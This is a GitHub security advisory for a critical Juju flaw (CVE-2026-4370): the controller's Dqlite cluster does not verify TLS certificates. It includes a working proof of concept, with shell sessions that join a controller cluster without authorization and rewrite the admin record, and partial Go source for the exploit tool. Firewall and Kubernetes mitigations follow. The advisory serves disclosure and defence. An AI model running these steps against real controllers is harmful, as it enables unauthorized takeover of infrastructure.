GitHub Advisoryadvisory · Go

GHSA-gvrj-cjch-728p Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster

CRITICAL Published 2026-04-02 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-4370
Ecosystem
Go
Packages
github.com/juju/juju
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-287, CWE-295, CWE-296
Reviewed
2026-04-02

Affected packages

• Go github.com/juju/juju: <= 0.0.0-20260401092550-1c1ac1922b57 (no fix yet)

Description

Impact Any Juju controller since 3.2.0. An attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc. This is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes. https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324 PoC Using the tool referenced below. Bootstrap a controller and show the users: ``` $ juju bootstrap lxd a Creating Juju controller "a" on lxd/localhost Looking for packaged Juju agent version 4.0.4 for amd64 Launching controller instance(s) on localhost/localhost... • juju-fefd2b-0 (arch=amd64) Installing Juju agent on bootstrap instance Waiting for address Attempting to connect to 10.151.236.15:22 Contacting Juju controller at 10.151.236.15 to verify accessibility... Bootstrap complete, controller "a" is now available Controller machines are in the "controller" model Now you can run juju add-model to create a new model to deploy workloads. $ juju users Controller: a Name Display name Access Date created Last connection admin* admin superuser 1 minute ago just now juju-metrics Juju Metrics login 1 minute ago never connected everyone@external ``` Join the cluster with the first cluster member: ``` $ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch .close .exit Connected to database "demo". demo> ``` Join the cluster with another cluster member and give the admin a new name: ``` dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch .close .exit Connected to database "demo". demo> .switch controller Connected to database "controller". controller> select * from user; uuid | name | display_name | external | removed | created_by_uuid | created_at -------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+---------------------------------------- 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC 4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC 384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC (3 row(s)) controller> update user set display_name='Silly Admin' where name='admin'; OK (1 row(s) affected) controller> ``` The admin won't like this new name: ``` $ juju users Controller: a Name Display name Access Date created Last connection admin* Silly Admin superuser 6 minutes ago just now juju-metrics Juju Metrics login 6 minutes ago never connected everyone@external ``` Patches Juju versions 3.6.20 and 4.0.5 are patched to fix this issue. Workarounds The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content. Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666. Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port. To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly. You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers. ``` Retrict access to the Dqlite port. sudo ufw allow from to any port 17666 proto tcp sudo ufw allow from to any port 17666 proto tcp sudo ufw allow from to any port 17666 proto tcp sudo ufw deny 17666/tcp Similarly, the mongo db port needs to allow controller access. sudo ufw allow from to any port 37017 proto tcp sudo ufw allow from to any port 37017 proto tcp sudo ufw allow from to any port 37017 proto tcp sudo ufw deny 37017/tcp Allow access to the controller API port. sudo ufw allow from to any port 17070 proto tcp Allow access to the controller SSH port. sudo ufw allow from to any port 22 proto tcp Ensure the firewall is enabled. sudo ufw enable Check that the rules have been added correctly. sudo ufw status ``` For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: controller-0-17666-only-itself namespace: spec: podSelector: matchLabels: app.kubernetes.io/name: controller statefulset.kubernetes.io/pod-name: controller-0 policyTypes: • Ingress ingress: • from: • podSelector: matchLabels: app.kubernetes.io/name: controller statefulset.kubernetes.io/pod-name: controller-0 ports: • protocol: TCP port: 17666 ``` References https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324 PoC Tool Based on the go-dqlite demo app. ```go package main import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "database/sql" "encoding/pem" "fmt" "log" "math/big" "net" "os" "os/signal" "path/filepath" "strings" "time" "github.com/canonical/go-dqlite/v3/app" "github.com/canonical/go-dqlite/v3/client" "github.com/peterh/liner" "github.com/pkg/errors" "github.com/spf13/cobra" "golang.org/x/sys/unix" ) func generateSelfSignedCert() (tls.Certificate, error) { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return tls.Certificate{}, fmt.Errorf("generate key: %w", err) } tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "lol"}, NotBefore: time.Now(), NotAfter: time.Now().Add(365 * 24 * time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"lol"}, } certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) if err != nil { return tls.Certificate{}, fmt.Errorf("create cert: %w", err) } keyDER, err := x509.MarshalECPrivateKey(key) if err != nil { return tls.Certificate{}, fmt.Errorf("marshal key: %w", err) } certPEM := pem.EncodeToMemory(&pem.Block{Type: "…

Related

Alias · CVE (1)

  • CVE-2026-4370 A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database… vulnerability

Weakness · CWE (3)

  • CWE-287 Improper Authentication weakness
  • CWE-295 Improper Certificate Validation weakness
  • CWE-296 Improper Following of a Certificate's Chain of Trust weakness

References